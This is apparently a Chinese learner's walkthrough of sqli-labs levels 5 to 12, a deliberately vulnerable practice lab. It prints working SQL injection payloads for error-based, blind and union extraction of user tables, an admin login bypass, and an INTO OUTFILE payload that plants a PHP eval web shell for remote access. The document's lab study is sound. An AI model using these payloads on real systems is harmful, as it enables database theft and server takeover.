前言

Web题中SQL注入是最重要的类型之一。之前只是简单的了解, SQL注入对于我这样的新手来说可能会有一点难度,当时学的时候学习了sqli-labs的前四关,现在重新捡起,继续打。

第五关

目前我了解到两种方法。

第一种方法——报错型注入

旧方法

肯定是有注入的,所以判断是否有注入就省去了。判断闭合符号是单引号

?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

可报错并显示出数据库。
Augenstern
显示表名,

?id=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))--+

Augenstern
爆列名

?id=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))--+

在这里插入图片描述
爆数据:

?id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20users),0x7e),1))--+

Augenstern
没显示完,还有下一步,再爆后面的数据,用mid函数。

?id=1' and (updatexml(1,concat(0x7e,mid((select group_concat(username) from users),32),0x7e),1))--+

Augenstern

新get

还有一个语句可以实现,看到了就顺便总结下来:
爆数据库名:

?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

Augenstern
爆表名,可以通过limit函数爆出目标数据表名:

?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))--+

Augenstern
爆列名,同样是用limit函数进行选择列爆破:

?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

Augenstern
爆数据值:

?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+

Augenstern

第二种——盲注

判断数据库长度

?id=1' and length(database())>0--+
?id=1' and length(database())=8--+

Augenstern
数据库长度判断出来,下一步爆库名

?id=1' and ascii(substr(database(),1,1)=83)--+

Augenstern
这样判断太慢,直接burp爆破就行,之前尝试的burp爆破是一个post类型,这次是get类型,所以就再总结一下

?id=1' and ascii(substr((select database() limit 1,1),1,1))=100--+

Augenstern
设置好开始爆破
Augenstern
然后放到一个转ascii码的小工具里转换
Augenstern
可以爆出数据库名。
其他的只需改动语句,爆破方式一样。只是比较慢。
脚本暂时还不会写,先放着,学会了再补充。

第六关

双引号闭合,其他的与第五关相同,照抄OK。

第七关

对于我来说时一种新的注入方式,
判断闭合符号。

?id=1'))

Augenstern
闭合符号是')),试着上传一句话木马,
路径不知道,先拿个简单关查看下路径(做题的时候要靠自己找,刚了解到,我也没见过这类题,所以见到再说)
payload

?id=-1 union select 1,@@basedir,@@datadir --+

Augenstern
payload

?id=1')) union select 1,2,'<?php @eval($_POST["lxj"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\lxj.php"--+

Augenstern
回显报错了,看师傅们的博客是:虽然报错了,但是在本地文件是可以看到上传成功的,可是为什么我的就没有。
Augenstern
奇怪,啥都没有。再百度看了好几篇博客,终于找到了解决办法,是我本地的mysql没有写入权限。所以没有办法上传成功,解决办法也是尝试过好几遍才对了。
解决办法如下:
打开mysql目录找到my.in这个文件,
Augenstern

打开这个文件:添加secure-file-priv =""保存
一般出现没有写入权限的问题的应该就是缺少了。直接加一个就行。(反正我的是没有这句话。)只针对这一种情况,其他的不好说。Augenstern
然后再重新写入php文件,但是再看还是没有任何东西,然后又查百度,找了三四遍博客终于让我找到了我错在哪里了。原来就是一个低级错误,保存之后记得重新启动mysql。再次上传php就行。
这次就上传成功了。
Augenstern
运行一下看看,
Augenstern
可以,那就用菜刀或者蚁剑连接。
http://127.0.0.1/sqli-labs-master/Less-13/
添加成功,连上了。
Augenstern
查看一下
Augenstern
ok木得问题,过关。

第八关

这道题是布尔盲注
看题目单引号闭合,试一下
Augenstern
但是这道题可以使用第七关的方法上传一个木马,用蚁剑或菜刀连接。步骤略,看结果
Augenstern
看了可以,那就不管它了。
在回头说盲注,盲注是布尔盲注,可以用手注,也可以用burp爆破。跟第五关差不多,不再重复

第九关

看题是基于单引号闭合的时间盲注
反正也没事试一遍,发现确实是不管payload是什么,都会回显You are in ......
想起来之前第九关和第十关差不多,第十关以前总结过,再回头看一下。就不再重新写一遍了。
只是第十关是双引号闭合,其他的一样,没什么差别。
额咳咳,出于好奇,我又闲着试试,第九关能不能传入木马,结果还真成功了
Augenstern
啊哈,意外之喜。第十关应该也行。

第十关

只标题。就试试可不可以传入木马就行了,顺便连接一下。
Augenstern
蚁剑连接
Augenstern
成功了,开心哈。

第十一关

从这一关往后是post类型的注入。之前只了解过万能密码
随便输入账户密码都输入admin,登录成功。
Augenstern
然后再输入账户lalala密码1234,发现有报错,
Augenstern
这就能证明本关的确是报错注入。

第一种姿势

万能密码
username:admin'#,密码随意。
Augenstern
爆数据库

admin' and extractvalue(1,concat(0x7e,database(),0x7e))#
admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

两句均可,就全部记了下来,网上大佬的博客很多,不同的姿势也好几个,这里暂时总结几种我学会的吧。
Augenstern
爆数据表名

admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))#

limit决定爆哪个表
Augenstern
第三个表爆出users,可进行下一步,爆列名

admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e))#

Augenstern

admin' and extractvalue(1,concat(0x7e,(select username from users limit 1,1),0x7e))#

limit决定爆哪个信息
Augenstern

第二种姿势

随便构造账户名和密码。然后进行抓包
Augenstern
发送到Repeater

uname=admin' and 1=1%23 &passwd=1234&submit=Submit

Augenstern
爆数据库名

uname=0' union select 1,database()%23 &passwd=admin&submit=Submit

Augenstern
爆表名

uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'%23 &passwd=admin&submit=Submit

Augenstern
爆出四张表,然后根据前几关的套路可查询users

uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23 &passwd=admin&submit=Submit

Augenstern
同时查询usernamepassword

uname=0' union select group_concat(username),group_concat(password) from users%23 &passwd=admin&submit=Submit

Augenstern
得到这么多数据。get!!

第十二关

闭合方式不同,此关是双引号闭合。步骤与十一关相同。
先学习到这里,沉淀一下,消化消化新知识。继续加油!